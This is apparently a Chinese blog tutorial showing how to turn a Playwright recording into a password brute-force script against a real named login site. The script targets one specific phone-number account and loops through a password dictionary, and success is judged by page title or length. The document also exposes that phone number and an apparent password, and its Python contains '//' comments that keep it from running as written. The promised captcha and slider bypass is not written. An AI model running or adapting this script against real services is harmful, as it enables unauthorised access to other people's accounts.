使用Playwright工具做密码爆破（滑块验证和验证码）

python -m playwright codegen   https://cas.foxitsoftware.cn/cas/login?al=zh_CN&service=https://www.foxitsoftware.cn/downloads/  启动playwright

跳出来两个页面，一个是要爆破的web页面，一个是自动化操作的脚步录制，你在这个页面上做的操作，都会以代码形式展示。

依次输入账户密码以及登录键、

import re
from playwright.sync_api import Playwright, sync_playwright, expect


def run(playwright: Playwright) -> None:
    browser = playwright.chromium.launch(headless=False)
    context = browser.new_context()
    page = context.new_page()
    page.goto("https://cas.foxitsoftware.cn/cas/login?al=zh_CN")
    page.get_by_label("手机号码/电子邮箱").click()
    page.get_by_label("手机号码/电子邮箱").fill("15857064621")
    page.get_by_label("密码", exact=True).click()
    page.get_by_label("密码", exact=True).press("CapsLock")
    page.get_by_label("密码", exact=True).fill("M")
    page.get_by_label("密码", exact=True).press("CapsLock")
    page.get_by_label("密码", exact=True).fill("Mcy666666!@")
    page.get_by_role("button", name="登录", exact=True).click()

    # ---------------------
    context.close()
    browser.close()


with sync_playwright() as playwright:
    run(playwright)

然后我们将这个代码修改为爆破的自动化脚本（有几个大小写的操作，直接删了就行，这个网站写的有些问题）

import re
from playwright.sync_api import Playwright, sync_playwright, expect

from time import sleep //导入sleep库

//建立函数readpasswd,作用是读取密码字典中中的字段。fp就是密码的字符串集合
def readpasswd(filename):
    fp = open(r"password.txt", 'r', encoding='utf-8')
    return fp


def run(playwright: Playwright) -> None:
    browser = playwright.chromium.launch(headless=False)
    context = browser.new_context()
    page = context.new_page()
    fp = readpasswd(1)
    username = '15857064621'//账号这里不做字典，
    for passwd in fp:                         //passwd是每一个字段的密码
      page.goto("https://cas.foxitsoftware.cn/cas/login?al=zh_CN&service=https://www.foxitsoftware.cn/downloads/")
      page.get_by_label("手机号码/电子邮箱").fill(username)//变量1
      page.get_by_label("密码", exact=True).click()
      page.get_by_label("密码", exact=True).fill(passwd)//变量2
      page.get_by_role("button", name="登录", exact=True).click()
      sleep(1)//重复执行
      response_html = page.content()
      print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')//输出结果
    # ---------------------
    context.close()
    browser.close()


with sync_playwright() as playwright:
    run(playwright)

执行，通过判断title或者长度就可以实现爆破。

验证码和滑块后续再补上，我还没学哈哈哈哈